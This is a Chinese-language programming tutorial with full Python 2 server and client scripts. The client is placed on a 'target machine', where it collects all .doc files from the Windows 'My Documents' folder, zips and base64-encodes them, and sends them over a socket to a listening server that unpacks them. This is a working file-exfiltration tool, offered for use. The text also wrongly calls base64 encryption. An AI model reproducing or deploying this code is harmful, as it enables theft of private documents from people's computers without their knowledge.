python实现获取客户机上指定文件并传输到服务器的方法 本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下: 该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。 1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密 2、用zip压缩 3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可 4、本程序设置了获取doc文件,修改extName可以获取其它类型文件 服务器端程序: 复制代码 代码如下:# -*- coding: cp936 -*- import socket import win32com.client import os import zipfile import codecs import base64 def main(): HOST = '127.0.0.1' PORT = 2000 BUF_SIZE = 6553500 #6M key = 'ouyang' timeout = 5 dicName = "ouyang\\" ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: ss.bind((HOST,PORT)) ss.listen(5) print "wating for conntecting..." while True: try: cs,addr = ss.accept() socket.setdefaulttimeout(timeout) cs.send("200 Connected!") #获取加密数据 encode_data = cs.recv(BUF_SIZE) #把数据写到out.zip文件 tmpfile = open('out.tmp','wb') try: tmpfile.write(encode_data) tmpfile.close() except IOError,e: print 'Strange error creating IOError:%s' % e tmpfile.close() finally: tmpfile.close() #base64 decode 2进制 解密 decode(infile,outfile) tmpfile = open('out.tmp','rb') outfile = open('out.zip','wb') base64.decode(tmpfile,outfile) tmpfile.close() outfile.close() #打开zip文件 zfile = zipfile.ZipFile('out.zip','r') #创建一个文件夹来存放获取的zip文件 if not os.path.exists(dicName): os.mkdir(dicName) for f in zfile.namelist(): data = zfile.read(f) file = open(dicName+os.path.basename(f),'w+b') file.write(data) file.close() print "finished!!!" zfile.close() #后续处理 删除临时文件 os.remove('out.tmp') cs.close() except socket.error, e: print 'Strange error creating socket:%s' % e cs.close() ss.close() except socket.error, e: print 'Strange error creating socket:%s' % e ss.close() if __name__=='__main__': main() 客户端程序: 复制代码 代码如下:# -*- coding: cp936 -*- import socket import win32com.client import win32api import os import time import zipfile import codecs import base64 def walk_dir(dir,filelist,extName,topdown=True): for root, dirs, files in os.walk(dir, topdown): for name in files: if (os.path.splitext(os.path.join(root,name)))[-1] == extName: filelist.append(os.path.join(root,name)) for name in dirs: if (os.path.splitext(os.path.join(root,name)))[-1] == extName: filelist.append(os.path.join(root,name)) def main(): HOST = '127.0.0.1' PORT = 2000 BUF_SIZE = 65535 key = 'ouyang' dicName = "C:\Documents and Settings\Administrator\我的文档" extName = '.doc' #遍历搜索我的文档的doc类型 try: filelist = [] walk_dir(dicName,filelist,extName) except IOError,e: print "文件处理错误: " % e sys.exit(-1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: cs.connect((HOST,PORT)) print cs.recv(BUF_SIZE) #压缩成zip文件 zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED) for f in filelist: zfile.write(f) zfile.close() #base 2进制 加密 encode(infile,outfile) infile = open('in.zip','rb') tmpfile = open('in.tmp','wb') base64.encode(infile,tmpfile) infile.close() tmpfile.close() #send tmpfile = open('in.tmp','rb') cs.send(tmpfile.read()) tmpfile.close() #后续处理 删除中间文件 os.remove('in.tmp') cs.close() except socket.error ,e: print 'socket 出错啦:' % e cs.close() if __name__=='__main__': main() 希望本文所述对大家的Python程序设计有所帮助。